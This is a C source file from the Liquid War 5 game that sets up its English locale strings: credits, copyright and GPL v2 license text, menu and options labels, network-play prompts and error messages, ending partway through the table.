*/ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : langen.c */ /* content : handles English dependent stuff (locale) */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "lang.h" #include "langen.h" #include "base.h" /*==================================================================*/ /* globals */ /*==================================================================*/ static char *LW_LANGEN_DATA[LW_LANG_NB_STRINGS]; /*------------------------------------------------------------------*/ /* initializes the string table */ /*------------------------------------------------------------------*/ void lw_langen_init () { memset (LW_LANGEN_DATA, 0, sizeof (LW_LANGEN_DATA)); LW_LANGEN_DATA[LW_LANG_STRING_LANGUAGE] = "English"; LW_LANGEN_DATA[LW_LANG_STRING_APPNAME] = "Liquid War " LW_VERSION; LW_LANGEN_DATA[LW_LANG_STRING_HELP_CREDITS] = "Idea: \n* Thomas Colcombet\n\nCoding: \n* Christian Mauduit\n\nMusic:\n* Tim Chadburn\n\nOther contributors:\n* Alstar\n* Peter Wang\n* Cort Danger Stratton\n* Jan Gretschuskin (www.game-factor.de)\n* Mouse\n* Rene Stach\n* Roderick Schertler\n* Ryan D. Brown\n* Eduard Bloch\n* Michael Terry\n* Kasper Hviid\n* David Redick\n* Alexandre Pineau\n* Michael Wagner\n* Peter Williams\n* Jan Samohyl\n* Gavin\n* Dave Vasilevsky\n* 2 of Omega\n* 666-REFIZUL-666\n* Thomas Klausner\n* Joan Dolc\n* Mikhail Yakshin\n* Valerie Mauduit\n* Florence Mauduit\n* Joey Dodson\n* Jan Szenborn\n\nMore informations on www.ufoot.org/liquidwar/v5\n"; LW_LANGEN_DATA[LW_LANG_STRING_HELP_COPYRIGHT] = "Liquid War is a multiplayer wargame.\nCopyright (C) 1998-2018 Christian Mauduit (ufoot@ufoot.org)\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\nMore informations on www.ufoot.org/liquidwar/v5\n"; /* * Stupid Microsoft VC++ can't handle strings over 2048 chars correctly, * (compiler error C2026) so we had to split this one... */ LW_LANGEN_DATA[LW_LANG_STRING_HELP_LICENSE] = "GNU GENERAL PUBLIC LICENSE\nVersion 2, June 1991\n\nCopyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, USA\n\nEveryone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.\n\nPreamble\n\nThe licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.\n\nWhen we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom " "to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. \n\nTo protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. \n\nFor example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.\n\nWe protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.\n\nAlso, " "for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.\n\nFinally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.\n\nThe precise terms and conditions for copying, distribution and modification follow.\n\nGNU GENERAL PUBLIC LICENSE\nTERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n0. This License applies to any program or other work which contains a notice placed by the copyright " "holder saying it may be distributed under the terms of this General Public License. The \"Program\", below, refers to any such program or work, and a \"work based on the Program\" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term \"modification\".) Each licensee is addressed as \"you\".\nActivities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. \n\n1. You may copy and distribute verbatim copies of the Program's source code as you " "receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. \nYou may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.\n\n2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: \na) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.\nb) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or " "any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.\nc) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)\nThese requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to " "those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.\nThus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. \nIn addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. \n\n3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above " "provided that you also do one of the following:\na) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,\nb) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,\nc) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)\nThe source code for a work means the preferred form of the work for making modifications " "to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.\nIf distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. \n\n4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt " "otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.\n\n5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.\n\n6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify " "the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.\n\n7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain " "entirely from distribution of the Program.\nIf any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.\nIt is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.\nThis section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.\n\n8. " "If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.\n\n9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.\nEach version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and \"any later version\", you have the option of following the terms and conditions either of that version or of any later version published by the " "Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. \n\n10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.\n\nNO WARRANTY\n\n11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT " "NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. \n\n12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n\nEND OF TERMS AND CONDITIONS\n\nMore informations on www.ufoot.org/liquidwar/v5\n"; LW_LANGEN_DATA[LW_LANG_STRING_HELP_VERSION] = "Liquid War by U-Foot\n\nv" LW_VERSION " \n\ncompiled on " __DATE__ " at " __TIME__ "\n\nMore informations on www.ufoot.org/liquidwar/v5\n"; LW_LANGEN_DATA[LW_LANG_STRING_MENU_PLAY] = "Play"; LW_LANGEN_DATA[LW_LANG_STRING_MENU_NETGAME] = "Net game"; LW_LANGEN_DATA[LW_LANG_STRING_MENU_MAP] = "Map"; LW_LANGEN_DATA[LW_LANG_STRING_MENU_TEAMS] = "Teams"; LW_LANGEN_DATA[LW_LANG_STRING_MENU_OPTIONS] = "Options"; LW_LANGEN_DATA[LW_LANG_STRING_MENU_ABOUT] = "About"; LW_LANGEN_DATA[LW_LANG_STRING_MENU_EXIT] = "Exit"; LW_LANGEN_DATA[LW_LANG_STRING_MENU_EXITDOS] = "Exit to DOS"; LW_LANGEN_DATA[LW_LANG_STRING_MENU_EXITWINDOWS] = "Exit"; LW_LANGEN_DATA[LW_LANG_STRING_MENU_EXITUNIX] = "Exit"; LW_LANGEN_DATA[LW_LANG_STRING_MENU_BACK] = "Back to LW"; LW_LANGEN_DATA[LW_LANG_STRING_DIALOG_QUIT] = "Quit"; LW_LANGEN_DATA[LW_LANG_STRING_DIALOG_BACK] = "Back"; LW_LANGEN_DATA[LW_LANG_STRING_DIALOG_PLAY] = "Play"; LW_LANGEN_DATA[LW_LANG_STRING_DIALOG_MAIN] = "Main"; LW_LANGEN_DATA[LW_LANG_STRING_PLAY_GETREADY] = "Get ready!"; LW_LANGEN_DATA[LW_LANG_STRING_NETGAME_STARTGAME] = "Start game"; LW_LANGEN_DATA[LW_LANG_STRING_NETGAME_SERVERADDR] = "Server addr"; LW_LANGEN_DATA[LW_LANG_STRING_NETGAME_SERVERPORT] = "Server port"; LW_LANGEN_DATA[LW_LANG_STRING_NETGAME_SEARCH] = "Search for internet games"; LW_LANGEN_DATA[LW_LANG_STRING_NETGAME_PASSWORD] = "Password (*)"; LW_LANGEN_DATA[LW_LANG_STRING_NETGAME_WEAKPASSWORD] = "(*) WARNING! Choose a weak password like \"hello\", for it is stored on your hard drive and sent to the server as plain text."; LW_LANGEN_DATA[LW_LANG_STRING_LANGUAGE_AUTO] = "Automatic"; LW_LANGEN_DATA[LW_LANG_STRING_TEAM_OFF] = "Off"; LW_LANGEN_DATA[LW_LANG_STRING_TEAM_HUMAN] = "Human"; LW_LANGEN_DATA[LW_LANG_STRING_TEAM_CPU] = "Cpu"; LW_LANGEN_DATA[LW_LANG_STRING_OPTIONS_GRAPHICS] = "Graphics"; LW_LANGEN_DATA[LW_LANG_STRING_OPTIONS_SOUND] = "Sound"; LW_LANGEN_DATA[LW_LANG_STRING_OPTIONS_RULES] = "Rules"; LW_LANGEN_DATA[LW_LANG_STRING_OPTIONS_SPEEDS] = "Speeds"; LW_LANGEN_DATA[LW_LANG_STRING_OPTIONS_CONTROLS] = "Controls"; LW_LANGEN_DATA[LW_LANG_STRING_OPTIONS_LANGUAGE] = "Language"; LW_LANGEN_DATA[LW_LANG_STRING_OPTIONS_DEFAULT] = "Defaults"; LW_LANGEN_DATA[LW_LANG_STRING_GRAPHICS_GAME] = "Game"; LW_LANGEN_DATA[LW_LANG_STRING_GRAPHICS_MENU] = "Menu"; LW_LANGEN_DATA[LW_LANG_STRING_GRAPHICS_ON] = "On"; LW_LANGEN_DATA[LW_LANG_STRING_GRAPHICS_OFF] = "Off"; LW_LANGEN_DATA[LW_LANG_STRING_GRAPHICS_FULLSCREEN] = "Fullscreen"; LW_LANGEN_DATA[LW_LANG_STRING_GRAPHICS_WINDOWED] = "Windowed"; LW_LANGEN_DATA[LW_LANG_STRING_GRAPHICS_ADVANCED] = "Advanced"; LW_LANGEN_DATA[LW_LANG_STRING_GRAPHICS_VIDEOMODE] = "Video mode"; LW_LANGEN_DATA[LW_LANG_STRING_GRAPHICS_BRIGHTNESS] = "Brightness"; LW_LANGEN_DATA[LW_LANG_STRING_GRAPHICS_VIEWPORTSIZE] = "Viewport size"; LW_LANGEN_DATA[LW_LANG_STRING_GRAPHICS_PAGEFLIPPING] = "Page flipping"; LW_LANGEN_DATA[LW_LANG_STRING_GRAPHICS_WAVES] = "Waves (F4)"; LW_LANGEN_DATA[LW_LANG_STRING_VOLUME_SFX] = "Sound fx"; LW_LANGEN_DATA[LW_LANG_STRING_VOLUME_CLICK] = "Click"; LW_LANGEN_DATA[LW_LANG_STRING_VOLUME_GAMEWATER] = "Game water"; LW_LANGEN_DATA[LW_LANG_STRING_VOLUME_MENUWATER] = "Menu water"; LW_LANGEN_DATA[LW_LANG_STRING_VOLUME_MUSIC] = "Music"; LW_LANGEN_DATA[LW_LANG_STRING_RULES_TIME] = "Time"; LW_LANGEN_DATA[LW_LANG_STRING_RULES_ADVANCED] = "Advanced"; LW_LANGEN_DATA[LW_LANG_STRING_RULES_ARMYSIZE] = "Army size"; LW_LANGEN_DATA[LW_LANG_STRING_RULES_CURSOR] = "Cursor"; LW_LANGEN_DATA[LW_LANG_STRING_RULES_DEFAULT] = "Defaults"; LW_LANGEN_DATA[LW_LANG_STRING_RULES_MINMAPRES] = "Min "; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_ATTACK] = "Attack"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_DEFENSE] = "Defense"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_BASEHEALTH] = "Base health"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_WINNERHELP] = "Winner help"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_CPUSTRENGTH] = "CPU strength"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_CPUVSHUMAN] = "CPU vs human"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_ALWAYS] = "Always"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_RANDOM] = "Random"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_NEVER] = "Never"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_ASMALGORITHM] = "Algorithm"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_ASSEMBLY] = "Assembly"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_STANDARDC] = "Standard C"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_ALLOWNETWORKBOTS] = "Allow net bots"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_YES] = "Yes"; LW_LANGEN_DATA[LW_LANG_STRING_ADVANCED_NO] = "No"; LW_LANGEN_DATA[LW_LANG_STRING_SPEEDS_FPS] = "frames/s"; LW_LANGEN_DATA[LW_LANG_STRING_SPEEDS_NOFPSLIMIT] = "No fps limit"; LW_LANGEN_DATA[LW_LANG_STRING_SPEEDS_RPS] = "rounds/s"; LW_LANGEN_DATA[LW_LANG_STRING_SPEEDS_NORPSLIMIT] = "No rps limit"; LW_LANGEN_DATA[LW_LANG_STRING_CONTROLS_JOYSTICK] = "Joystick"; LW_LANGEN_DATA[LW_LANG_STRING_CONTROLS_OFF] = "Off"; LW_LANGEN_DATA[LW_LANG_STRING_CONTROLS_2JOYSTICKS] = "2 joysticks"; LW_LANGEN_DATA[LW_LANG_STRING_CONTROLS_4BUTTONS] = "4 buttons"; LW_LANGEN_DATA[LW_LANG_STRING_CONTROLS_STANDARD] = "Standard"; LW_LANGEN_DATA[LW_LANG_STRING_CONTROLS_MOUSESENSIB] = "In-game mouse sensibility"; LW_LANGEN_DATA[LW_LANG_STRING_ABOUT_CREDITS] = "Credits"; LW_LANGEN_DATA[LW_LANG_STRING_ABOUT_COPYRIGHT] = "Copyright"; LW_LANGEN_DATA[LW_LANG_STRING_ABOUT_LICENSE] = "License"; LW_LANGEN_DATA[LW_LANG_STRING_ABOUT_VERSION] = "Version"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_REFRESH] = "Refresh"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_JOINNOW] = "Join now"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_PORT] = "Port"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_PASSWORD] = "Password"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_YES] = "yes"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_NO] = "no"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_UPTIME] = "Uptime"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_DAYS] = "days"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_DAY] = "day"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_HOURS] = "h"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_MINUTES] = "min"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_SECONDS] = "sec"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_UNREACHABLE] = "Unreachable"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_PING] = "Ping"; LW_LANGEN_DATA[LW_LANG_STRING_INTERNET_MSEC] = "ms"; LW_LANGEN_DATA[LW_LANG_STRING_WAVE_AMPLI] = "Ampli"; LW_LANGEN_DATA[LW_LANG_STRING_WAVE_NUMBER] = "Number"; LW_LANGEN_DATA[LW_LANG_STRING_WAVE_SPEED] = "Speed"; LW_LANGEN_DATA[LW_LANG_STRING_WAVE_WX] = "WX"; LW_LANGEN_DATA[LW_LANG_STRING_WAVE_HY] = "HY"; LW_LANGEN_DATA[LW_LANG_STRING_WAVE_WY] = "WY"; LW_LANGEN_DATA[LW_LANG_STRING_WAVE_HX] = "HX"; LW_LANGEN_DATA[LW_LANG_STRING_CONNECT_STARTNOW] = "Start now"; LW_LANGEN_DATA[LW_LANG_STRING_CONNECT_WAITING] = "Waiting..."; LW_LANGEN_DATA[LW_LANG_STRING_CONNECT_WAITINGFOR] = "Waiting for "; LW_LANGEN_DATA[LW_LANG_STRING_CONNECT_TEAMS] = " team(s)"; LW_LANGEN_DATA[LW_LANG_STRING_CONNECT_SENDMESSAGE] = "Send message"; LW_LANGEN_DATA[LW_LANG_STRING_NETPLAY_CONNECT] = "Connect"; LW_LANGEN_DATA[LW_LANG_STRING_NETPLAY_PING] = "Ping"; LW_LANGEN_DATA[LW_LANG_STRING_NETPLAY_CHECKPROGRAM] = "Check program"; LW_LANGEN_DATA[LW_LANG_STRING_NETPLAY_CHECKVERSION] = "Check version"; LW_LANGEN_DATA[LW_LANG_STRING_NETPLAY_SENDPASSWORD] = "Password"; LW_LANGEN_DATA[LW_LANG_STRING_NETPLAY_FREETEAMS] = "Free teams?"; LW_LANGEN_DATA[LW_LANG_STRING_NETPLAY_RESERVETEAMS] = "Reserve teams"; LW_LANGEN_DATA[LW_LANG_STRING_NETPLAY_SENDCONFIG] = "Send config"; LW_LANGEN_DATA[LW_LANG_STRING_NETPLAY_SENDMAP] = "Send map"; LW_LANGEN_DATA[LW_LANG_STRING_NETPLAY_WAITING] = "Waiting..."; LW_LANGEN_DATA[LW_LANG_STRING_NETPLAY_WHOPLAYS] = "Who plays?"; LW_LANGEN_DATA[LW_LANG_STRING_NETPLAY_RECVCONFIG] = "Receive config"; LW_LANGEN_DATA[LW_LANG_STRING_NETPLAY_RECVMAP] = "Receive map"; LW_LANGEN_DATA[LW_LANG_STRING_LEVEL_USEDEFAULTTEXTURE] = "Use default texture"; LW_LANGEN_DATA[LW_LANG_STRING_LEVEL_ON] = "On"; LW_LANGEN_DATA[LW_LANG_STRING_LEVEL_OFF] = "Off"; LW_LANGEN_DATA[LW_LANG_STRING_LEVEL_RANDOMMAP] = "Random map"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_FPS] = "frames/s "; LW_LANGEN_DATA[LW_LANG_STRING_CODE_RPS] = "rounds/s "; LW_LANGEN_DATA[LW_LANG_STRING_CODE_PERCENTCALC] = "% calc "; LW_LANGEN_DATA[LW_LANG_STRING_CODE_PERCENTDISPLAY] = "% display "; LW_LANGEN_DATA[LW_LANG_STRING_CODE_SPREADGRADTIME] = "Spread grad time "; LW_LANGEN_DATA[LW_LANG_STRING_CODE_MOVEARMYTIME] = "Move army time "; LW_LANGEN_DATA[LW_LANG_STRING_CODE_DISPLAYTIME] = "Display time "; LW_LANGEN_DATA[LW_LANG_STRING_CODE_FLIPTIME] = "Flip time "; LW_LANGEN_DATA[LW_LANG_STRING_CODE_OTHERCALCTIME] = "Other calc time "; LW_LANGEN_DATA[LW_LANG_STRING_CODE_GLOBALTIME] = "Global time "; LW_LANGEN_DATA[LW_LANG_STRING_CODE_STANDARDDISPLAY] = "Standard display"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_GRADIENT1] = "Gradient 1"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_GRADIENT2] = "Gradient 2"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_GRADIENT3] = "Gradient 3"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_GRADIENT4] = "Gradient 4"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_GRADIENT5] = "Gradient 5"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_GRADIENT6] = "Gradient 6"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_MESHSIZE] = "Mesh size"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_MESHSTRUCTURE] = "Mesh structure"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_PAUSEOFF] = "Pause off"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_PAUSEON] = "Pause on"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_WAVEEFFECTSOFF] = "Wave effects off"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_WAVEEFFECTSON] = "Wave effects on"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_CAPTUREOFF] = "Video capture off"; LW_LANGEN_DATA[LW_LANG_STRING_CODE_CAPTUREON] = "Video capture on"; LW_LANGEN_DATA[LW_LANG_STRING_SCORE_WINNER] = "Winner"; LW_LANGEN_DATA[LW_LANG_STRING_GAME_BACKMEMFAIL] = "Back mem fail"; LW_LANGEN_DATA[LW_LANG_STRING_GAME_DISPMEMFAIL] = "Disp mem fail"; LW_LANGEN_DATA[LW_LANG_STRING_GAME_MESHMEMFAIL] = "Mesh mem fail"; LW_LANGEN_DATA[LW_LANG_STRING_GAME_AREAMEMFAIL] = "Area mem fail"; LW_LANGEN_DATA[LW_LANG_STRING_GAME_ARMYMEMFAIL] = "Army mem fail"; LW_LANGEN_DATA[LW_LANG_STRING_ERROR_NOTENOUGHTEAMS] = "Not enough teams.\nYou must select at least 2 teams from the \"Teams\" menu."; LW_LANGEN_DATA[LW_LANG_STRING_ERROR_NOTENOUGHBIGDATA] = "Not enough memory to expand level.\nChoose a smaller level or look at the documentation and try command line options such as \"-mem n\"."; LW_LANGEN_DATA[LW_LANG_STRING_ERROR_GRAPHICSINITFAILED] = "Unable to start graphic mode"; LW_LANGEN_DATA[LW_LANG_STRING_ERROR_NONETWORKSUPPORT] = "No network support for this platform.\nOnly Windows and UNIX have it."; LW_LANGEN_DATA[LW_LANG_STRING_ERROR_UNABLETOCONNECT] = "Unable to connect to the server.\nMaybe it's not correctly set up, or you are behind a firewall which forbids the connection."; LW_LANGEN_DATA[LW_LANG_STRING_ERROR_NOTALIQUIDWARSERVER] = "Unable to communicate with the server.\nIt doesn't seem to be a Liquid War server."; LW_LANGEN_DATA[LW_LANG_STRING_ERROR_WRONGVERSION] = "Wrong client/server versions.\nServer and client must have the same version (this client's version is \"" LW_VERSION "\")."; LW_LANGEN_DATA[LW_LANG_STRING_ERROR_NETWORKPROBLEM] = "A network error has occured.\nThis often happens when the connection with the server is too slow or simply lost."; LW_LANGEN_DATA[LW_LANG_STRING_ERROR_CANTSENDMAP] = "Unable to send the map to the server."; LW_LANGEN_DATA[LW_LANG_STRING_ERROR_CANTRECEIVEMAP] = "Unable to receive the map from the server."; LW_LANGEN_DATA[LW_LANG_STRING_ERROR_SERVERFULL] = "This server is full and doesn't accept new teams for now."; LW_LANGEN_DATA[LW_LANG_STRING_ERROR_BADPASSWORD] = "Incorrect password."; LW_LANGEN_DATA[LW_LANG_STRING_ERROR_BADCONFIGRANGE] = "One of the config parameters is out of range. Either there's a bug in the game, or someone is cheating and/or trying to hack something."; LW_LANGEN_DATA[LW_LANG_STRING_POPUP_INITFAIL] = "Init failed."; LW_LANGEN_DATA[LW_LANG_STRING_POPUP_MEMTROUBLE] = "Not enough memory for bitmaps."; LW_LANGEN_DATA[LW_LANG_STRING_POPUP_BIGDATA] = "Not enough memory."; LW_LANGEN_DATA[LW_LANG_STRING_POPUP_LOADFAIL] = 